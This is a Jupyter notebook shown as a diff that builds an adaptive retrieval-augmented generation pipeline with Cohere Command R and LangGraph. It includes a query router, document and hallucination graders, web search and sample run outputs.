qEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEvQDAp9O8xV4gAAggggAACCCCAAAIIIIAAAggggAACCCCAAAII+CxAMMlnOhoigAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAqEv8P9hwox7hyJ7QAAAAABJRU5ErkJggg==" + } + }, + "cell_type": "markdown", + "id": "5afcaed0-3d55-4e1f-95d3-c32c751c29d8", + "metadata": { + "id": "5afcaed0-3d55-4e1f-95d3-c32c751c29d8" + }, + "source": [ + "# Adaptive RAG Cohere Command R\n", + "\n", + "Adaptive RAG is a strategy for RAG that unites (1) [query analysis](https://blog.langchain.dev/query-construction/) with (2) [active / self-corrective RAG](https://blog.langchain.dev/agentic-rag-with-langgraph/).\n", + "\n", + "In the paper, they report query analysis to route across:\n", + "\n", + "* No Retrieval (LLM answers)\n", + "* Single-shot RAG\n", + "* Iterative RAG\n", + "\n", + "Let's build on this to perform query analysis to route across some more interesting cases:\n", + "\n", + "* No Retrieval (LLM answers)\n", + "* Web-search\n", + "* Iterative RAG\n", + "\n", + "We'll use [Command R](https://cohere.com/blog/command-r), a recent release from Cohere that:\n", + "\n", + "* Has strong accuracy on RAG and Tool Use\n", + "* Has 128k context\n", + "* Has low latency \n", + " \n", + "![Screenshot 2024-04-02 at 8.11.18 PM.png](attachment:2a4ecdd2-280d-4311-a2cd-cd6138090be9.png)" + ] + }, + { + "cell_type": "markdown", + "id": "a85501ca-eb89-4795-aeab-cdab050ead6b", + "metadata": { + "id": "a85501ca-eb89-4795-aeab-cdab050ead6b" + }, + "source": [ + "# Environment" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f6c329ba-cb85-4576-9828-4f2ac648d1a6", + "metadata": {}, + "outputs": [], + "source": [ + "! pip install --quiet langchain langchain_cohere langchain-openai tiktoken langchainhub chromadb langgraph" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "222f204d-956f-4128-b597-2c698120edda", + "metadata": { + "id": "222f204d-956f-4128-b597-2c698120edda" + }, + "outputs": [], + "source": [ + "### LLMs\n", + "import os\n", + "\n", + "os.environ[\"COHERE_API_KEY\"] = \"\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "08edba00-988a-478b-96fc-ae0199cbef49", + "metadata": { + "id": "08edba00-988a-478b-96fc-ae0199cbef49" + }, + "outputs": [], + "source": [ + "# ### Tracing (optional)\n", + "# os.environ['LANGCHAIN_TRACING_V2'] = 'true'\n", + "# os.environ['LANGCHAIN_ENDPOINT'] = 'https://api.smith.langchain.com'\n", + "# os.environ['LANGCHAIN_API_KEY'] =''" + ] + }, + { + "cell_type": "markdown", + "id": "9ac1c2cd-81fb-40eb-8ba1-e9197800cba6", + "metadata": { + "id": "9ac1c2cd-81fb-40eb-8ba1-e9197800cba6" + }, + "source": [ + "## Index" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "b224e5ba-50ca-495a-a7fa-0f75a080e03c", + "metadata": { + "id": "b224e5ba-50ca-495a-a7fa-0f75a080e03c" + }, + "outputs": [], + "source": [ + "### Build Index\n", + "\n", + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_cohere import CohereEmbeddings\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "\n", + "# Set embeddings\n", + "embd = CohereEmbeddings()\n", + "\n", + "# Docs to index\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "# Load\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "# Split\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=512, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorstore\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " embedding=embd,\n", + ")\n", + "\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "0f52b427-750c-40f8-8893-e9caab3afd8d", + "metadata": { + "id": "0f52b427-750c-40f8-8893-e9caab3afd8d" + }, + "source": [ + "## LLMs" + ] + }, + { + "cell_type": "markdown", + "id": "H5CztTqsBOTZ", + "metadata": { + "id": "H5CztTqsBOTZ" + }, + "source": [ + "We use a router to pick between tools. \n", + " \n", + "Cohere model decides which tool(s) to call, as well as the how to query them." + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "bYK-e0diGdPf", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "bYK-e0diGdPf", + "outputId": "895a8ea5-57ee-49fe-ef28-277eac8a7bb7" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[{'id': 'f811e3b9-052e-49db-a234-5fc3efbcc5ba', 'function': {'name': 'web_search', 'arguments': '{\"query\": \"NFL draft bears first pick\"}'}, 'type': 'function'}]\n", + "[{'id': '4bc53113-8f32-4d6d-ac9b-c07ef9aae9fd', 'function': {'name': 'vectorstore', 'arguments': '{\"query\": \"types of agent memory\"}'}, 'type': 'function'}]\n", + "False\n" + ] + } + ], + "source": [ + "### Router\n", + "\n", + "from langchain_cohere import ChatCohere\n", + "from langchain_core.prompts import ChatPromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "\n", + "\n", + "# Data model\n", + "class web_search(BaseModel):\n", + " \"\"\"\n", + " The internet. Use web_search for questions that are related to anything else than agents, prompt engineering, and adversarial attacks.\n", + " \"\"\"\n", + "\n", + " query: str = Field(description=\"The query to use when searching the internet.\")\n", + "\n", + "\n", + "class vectorstore(BaseModel):\n", + " \"\"\"\n", + " A vectorstore containing documents related to agents, prompt engineering, and adversarial attacks. Use the vectorstore for questions on these topics.\n", + " \"\"\"\n", + "\n", + " query: str = Field(description=\"The query to use when searching the vectorstore.\")\n", + "\n", + "\n", + "# Preamble\n", + "preamble = \"\"\"You are an expert at routing a user question to a vectorstore or web search.\n", + "The vectorstore contains documents related to agents, prompt engineering, and adversarial attacks.\n", + "Use the vectorstore for questions on these topics. Otherwise, use web-search.\"\"\"\n", + "\n", + "# LLM with tool use and preamble\n", + "llm = ChatCohere(model=\"command-r\", temperature=0)\n", + "structured_llm_router = llm.bind_tools(\n", + " tools=[web_search, vectorstore], preamble=preamble\n", + ")\n", + "\n", + "# Prompt\n", + "route_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"human\", \"{question}\"),\n", + " ]\n", + ")\n", + "\n", + "question_router = route_prompt | structured_llm_router\n", + "response = question_router.invoke(\n", + " {\"question\": \"Who will the Bears draft first in the NFL draft?\"}\n", + ")\n", + "print(response.response_metadata[\"tool_calls\"])\n", + "response = question_router.invoke({\"question\": \"What are the types of agent memory?\"})\n", + "print(response.response_metadata[\"tool_calls\"])\n", + "response = question_router.invoke({\"question\": \"Hi how are you?\"})\n", + "print(\"tool_calls\" in response.response_metadata)" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "oaLWNbWxBgjE", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "oaLWNbWxBgjE", + "outputId": "57a5c27b-044b-4df5-f55d-7bf23d3976d1" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "binary_score='yes'\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeDocuments(BaseModel):\n", + " \"\"\"Binary score for relevance check on retrieved documents.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Documents are relevant to the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# Prompt\n", + "preamble = \"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n\n", + "If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. \\n\n", + "Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.\"\"\"\n", + "\n", + "# LLM with function call\n", + "llm = ChatCohere(model=\"command-r\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeDocuments, preamble=preamble)\n", + "\n", + "grade_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"human\", \"Retrieved document: \\n\\n {document} \\n\\n User question: {question}\"),\n", + " ]\n", + ")\n", + "\n", + "retrieval_grader = grade_prompt | structured_llm_grader\n", + "question = \"types of agent memory\"\n", + "docs = retriever.invoke(question)\n", + "doc_txt = docs[1].page_content\n", + "response = retrieval_grader.invoke({\"question\": question, \"document\": doc_txt})\n", + "print(response)" + ] + }, + { + "cell_type": "markdown", + "id": "D43a7vM4EElX", + "metadata": { + "id": "D43a7vM4EElX" + }, + "source": [ + "Generate" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "BTIUdjRMEq_h", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "BTIUdjRMEq_h", + "outputId": "11a99f62-2449-45db-9281-5bfd60e3c966" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are three types of agent memory: sensory memory, short-term memory, and long-term memory.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain_core.messages import HumanMessage\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Preamble\n", + "preamble = \"\"\"You are an assistant for question-answering tasks. Use the following pieces of retrieved context to answer the question. If you don't know the answer, just say that you don't know. Use three sentences maximum and keep the answer concise.\"\"\"\n", + "\n", + "# LLM\n", + "llm = ChatCohere(model_name=\"command-r\", temperature=0).bind(preamble=preamble)\n", + "\n", + "\n", + "# Prompt\n", + "def prompt(x):\n", + " return ChatPromptTemplate.from_messages(\n", + " [\n", + " HumanMessage(\n", + " f\"Question: {x['question']} \\nAnswer: \",\n", + " additional_kwargs={\"documents\": x[\"documents\"]},\n", + " )\n", + " ]\n", + " )\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"documents\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "bc000a7d-84b6-4eb2-88ad-65cc62a44431", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "I don't have feelings as an AI chatbot, but I'm here to assist you with any queries or concerns you may have. How can I help you today?\n" + ] + } + ], + "source": [ + "### LLM fallback\n", + "\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Preamble\n", + "preamble = \"\"\"You are an assistant for question-answering tasks. Answer the question based upon your knowledge. Use three sentences maximum and keep the answer concise.\"\"\"\n", + "\n", + "# LLM\n", + "llm = ChatCohere(model_name=\"command-r\", temperature=0).bind(preamble=preamble)\n", + "\n", + "\n", + "# Prompt\n", + "def prompt(x):\n", + " return ChatPromptTemplate.from_messages(\n", + " [HumanMessage(f\"Question: {x['question']} \\nAnswer: \")]\n", + " )\n", + "\n", + "\n", + "# Chain\n", + "llm_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "question = \"Hi how are you?\"\n", + "generation = llm_chain.invoke({\"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "y0msuR2DHQkY", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "y0msuR2DHQkY", + "outputId": "f0e91c2a-5542-45c0-a7a6-60453e0b2bc4" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeHallucinations(binary_score='yes')" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeHallucinations(BaseModel):\n", + " \"\"\"Binary score for hallucination present in generation answer.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer is grounded in the facts, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# Preamble\n", + "preamble = \"\"\"You are a grader assessing whether an LLM generation is grounded in / supported by a set of retrieved facts. \\n\n", + "Give a binary score 'yes' or 'no'. 'Yes' means that the answer is grounded in / supported by the set of facts.\"\"\"\n", + "\n", + "# LLM with function call\n", + "llm = ChatCohere(model=\"command-r\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(\n", + " GradeHallucinations, preamble=preamble\n", + ")\n", + "\n", + "# Prompt\n", + "hallucination_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " # (\"system\", system),\n", + " (\"human\", \"Set of facts: \\n\\n {documents} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "hallucination_grader = hallucination_prompt | structured_llm_grader\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "f0c08d14-77a0-4eed-b882-2d636abb22a3", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "f0c08d14-77a0-4eed-b882-2d636abb22a3", + "outputId": "c4f88c9a-65fd-4dad-e739-3c9bd547a9f5" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "GradeAnswer(binary_score='yes')" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Answer Grader\n", + "\n", + "\n", + "# Data model\n", + "class GradeAnswer(BaseModel):\n", + " \"\"\"Binary score to assess answer addresses question.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Answer addresses the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# Preamble\n", + "preamble = \"\"\"You are a grader assessing whether an answer addresses / resolves a question \\n\n", + "Give a binary score 'yes' or 'no'. Yes' means that the answer resolves the question.\"\"\"\n", + "\n", + "# LLM with function call\n", + "llm = ChatCohere(model=\"command-r\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeAnswer, preamble=preamble)\n", + "\n", + "# Prompt\n", + "answer_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"human\", \"User question: \\n\\n {question} \\n\\n LLM generation: {generation}\"),\n", + " ]\n", + ")\n", + "\n", + "answer_grader = answer_prompt | structured_llm_grader\n", + "answer_grader.invoke({\"question\": question, \"generation\": generation})" + ] + }, + { + "cell_type": "markdown", + "id": "d07c0b31-b919-4498-869f-9673125c2473", + "metadata": { + "id": "d07c0b31-b919-4498-869f-9673125c2473" + }, + "source": [ + "## Web Search Tool" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "01d829bb-1074-4976-b650-ead41dcb9788", + "metadata": { + "id": "01d829bb-1074-4976-b650-ead41dcb9788" + }, + "outputs": [], + "source": [ + "### Search\n", + "# os.environ['TAVILY_API_KEY'] =''\n", + "\n", + "from langchain_community.tools.tavily_search import TavilySearchResults\n", + "\n", + "web_search_tool = TavilySearchResults()" + ] + }, + { + "cell_type": "markdown", + "id": "efbbff0e-8843-45bb-b2ff-137bef707ef4", + "metadata": { + "id": "efbbff0e-8843-45bb-b2ff-137bef707ef4" + }, + "source": [ + "# Graph\n", + "\n", + "Capture the flow in as a graph.\n", + "\n", + "## Graph state" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "e723fcdb-06e6-402d-912e-899795b78408", + "metadata": { + "id": "e723fcdb-06e6-402d-912e-899795b78408" + }, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"|\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "markdown", + "id": "7e2d6c0d-42e8-4399-9751-e315be16607a", + "metadata": { + "id": "7e2d6c0d-42e8-4399-9751-e315be16607a" + }, + "source": [ + "## Graph Flow" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "id": "b76b5ec3-0720-443d-85b1-c0e79659ca0a", + "metadata": { + "id": "b76b5ec3-0720-443d-85b1-c0e79659ca0a" + }, + "outputs": [], + "source": [ + "from langchain.schema import Document\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.invoke(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def llm_fallback(state):\n", + " \"\"\"\n", + " Generate answer using the LLM w/o vectorstore\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---LLM Fallback---\")\n", + " question = state[\"question\"]\n", + " generation = llm_chain.invoke({\"question\": question})\n", + " return {\"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer using the vectorstore\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " if not isinstance(documents, list):\n", + " documents = [documents]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"documents\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question}\n", + "\n", + "\n", + "def web_search(state):\n", + " \"\"\"\n", + " Web search based on the re-phrased question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with appended web results\n", + " \"\"\"\n", + "\n", + " print(\"---WEB SEARCH---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Web search\n", + " docs = web_search_tool.invoke({\"query\": question})\n", + " web_results = \"\\n\".join([d[\"content\"] for d in docs])\n", + " web_results = Document(page_content=web_results)\n", + "\n", + " return {\"documents\": web_results, \"question\": question}\n", + "\n", + "\n", + "### Edges ###\n", + "\n", + "\n", + "def route_question(state):\n", + " \"\"\"\n", + " Route question to web search or RAG.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ROUTE QUESTION---\")\n", + " question = state[\"question\"]\n", + " source = question_router.invoke({\"question\": question})\n", + "\n", + " # Fallback to LLM or raise error if no decision\n", + " if \"tool_calls\" not in source.additional_kwargs:\n", + " print(\"---ROUTE QUESTION TO LLM---\")\n", + " return \"llm_fallback\"\n", + " if len(source.additional_kwargs[\"tool_calls\"]) == 0:\n", + " raise \"Router could not decide source\"\n", + "\n", + " # Choose datasource\n", + " datasource = source.additional_kwargs[\"tool_calls\"][0][\"function\"][\"name\"]\n", + " if datasource == \"web_search\":\n", + " print(\"---ROUTE QUESTION TO WEB SEARCH---\")\n", + " return \"web_search\"\n", + " elif datasource == \"vectorstore\":\n", + " print(\"---ROUTE QUESTION TO RAG---\")\n", + " return \"vectorstore\"\n", + " else:\n", + " print(\"---ROUTE QUESTION TO LLM---\")\n", + " return \"vectorstore\"\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " filtered_documents = state[\"documents\"]\n", + "\n", + " if not filtered_documents:\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, WEB SEARCH---\")\n", + " return \"web_search\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"\n", + "\n", + "\n", + "def grade_generation_v_documents_and_question(state):\n", + " \"\"\"\n", + " Determines whether the generation is grounded in the document and answers question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK HALLUCINATIONS---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + " generation = state[\"generation\"]\n", + "\n", + " score = hallucination_grader.invoke(\n", + " {\"documents\": documents, \"generation\": generation}\n", + " )\n", + " grade = score.binary_score\n", + "\n", + " # Check hallucination\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\")\n", + " # Check question-answering\n", + " print(\"---GRADE GENERATION vs QUESTION---\")\n", + " score = answer_grader.invoke({\"question\": question, \"generation\": generation})\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---DECISION: GENERATION ADDRESSES QUESTION---\")\n", + " return \"useful\"\n", + " else:\n", + " print(\"---DECISION: GENERATION DOES NOT ADDRESS QUESTION---\")\n", + " return \"not useful\"\n", + " else:\n", + " pprint(\"---DECISION: GENERATION IS NOT GROUNDED IN DOCUMENTS, RE-TRY---\")\n", + " return \"not supported\"" + ] + }, + { + "cell_type": "markdown", + "id": "3ab01f36-5628-49ab-bfd3-84bb6f1a1b0f", + "metadata": { + "id": "3ab01f36-5628-49ab-bfd3-84bb6f1a1b0f" + }, + "source": [ + "## Build Graph" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "id": "67854e07-9293-4c3c-bf9a-bc9a605570ee", + "metadata": { + "id": "67854e07-9293-4c3c-bf9a-bc9a605570ee" + }, + "outputs": [], + "source": [ + "import pprint\n", + "\n", + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"web_search\", web_search) # web search\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # rag\n", + "workflow.add_node(\"llm_fallback\", llm_fallback) # llm\n", + "\n", + "# Build graph\n", + "workflow.add_conditional_edges(\n", + " START,\n", + " route_question,\n", + " {\n", + " \"web_search\": \"web_search\",\n", + " \"vectorstore\": \"retrieve\",\n", + " \"llm_fallback\": \"llm_fallback\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"web_search\", \"generate\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"web_search\": \"web_search\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_conditional_edges(\n", + " \"generate\",\n", + " grade_generation_v_documents_and_question,\n", + " {\n", + " \"not supported\": \"generate\", # Hallucinations: re-generate\n", + " \"not useful\": \"web_search\", # Fails to answer question: fall-back to web-search\n", + " \"useful\": END,\n", + " },\n", + ")\n", + "workflow.add_edge(\"llm_fallback\", END)\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "id": "29acc541-d726-4b75-84d1-a215845fe88a", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "29acc541-d726-4b75-84d1-a215845fe88a", + "outputId": "47caec8e-54e3-4f89-dfbb-94fc034666f7" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "---ROUTE QUESTION TO WEB SEARCH---\n", + "---WEB SEARCH---\n", + "\"Node 'web_search':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "'The Bears are expected to draft Caleb Williams with their first pick.'\n" + ] + } + ], + "source": [ + "# Run\n", + "inputs = {\n", + " \"question\": \"What player are the Bears expected to draft first in the 2024 NFL draft?\"\n", + "}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint.pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " pprint.pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint.pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "11fddd00-58bf-4910-bf36-be9e5bfba778", + "metadata": { + "id": "11fddd00-58bf-4910-bf36-be9e5bfba778" + }, + "source": [ + "Trace:\n", + "\n", + "https://smith.langchain.com/public/623da7bb-84a7-4e53-a63e-7ccd77fb9be5/r" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "id": "69a985dd-03c6-45af-a67b-b15746a2cb5f", + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "69a985dd-03c6-45af-a67b-b15746a2cb5f", + "outputId": "e5f799cc-6f36-494f-c8b2-192de1edb7fc" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "---ROUTE QUESTION TO RAG---\n", + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: GENERATE---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", 